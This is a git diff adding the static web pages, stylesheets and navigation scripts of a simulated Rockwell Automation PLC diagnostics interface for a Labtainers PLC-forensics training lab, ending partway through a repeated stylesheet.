+ + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover.html new file mode 100644 index 000000000..672854edc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover.html new file mode 100644 index 000000000..ba7dd6609 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover.html @@ -0,0 +1,178 @@ + + +Rockwell Automation + + + + + + + +
+ + + + + + + + + + + + +
Diagnostic OverviewNetwork SettingsMessage ConnectionsEthernet Statistics
+ + + + + + + +

+ + + + + + +
+ + + + + + + + + + + + +
Ethernet Link
Speed100 Mbps
DuplexHalf Duplex
Autonegotiate StatusAutonegotiate Speed and + Duplex

+ + + + + + + + + +
System Resource +Utilization
CPU0.10 %
File System8.44%

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Web Server
Available User Space5490688 bytes
Data Views Configured0
Total Controller Tags0
Server Errors31
Redirects2
Timeouts0
Access Violations0
Page Hits181
Form Hits0
Total Hits212
+ + + + + + + + + + + + +
TCP Connections (CIP)
Current TCP Connections0
TCP Connection Limit64
Maximum Observed0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
CIP Connection Statistics
Current CIP Connections0
CIP Connection Limit128
Max Connections Observed0
Conn Opens0
Open Errors0
Conn Closes0
Close Errors0
Conn Timeouts0

+ + + + + + + + + + + + + + + +
CIP Messaging Statistics
Messages Sent0
Messages Received0
UCMM Sent11
UCMM Received11
+

+

Seconds Between + Refresh:   Disable Refresh with 0. +


diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/refresh.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/refresh.js new file mode 100644 index 000000000..7c96eeffe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/diagover_files/refresh.js @@ -0,0 +1,19 @@ +function jsRefresh() +{ + parent.refreshTime = document.getElementById("refresh").value; + if (parent.refreshTime != 0) + document.location.reload(); +} + +function refreshInit() +{ + if (eval("typeof(parent.refreshTime)") == 'undefined') + parent.refreshTime = document.getElementById('refresh').value; + else + document.getElementById('refresh').value = parent.refreshTime; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') + parent.window.clearTimeout(parent.timeoutPntr); + + parent.timeoutPntr = parent.window.setTimeout("frames.home.jsRefresh();", (parent.refreshTime * 1000)); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, 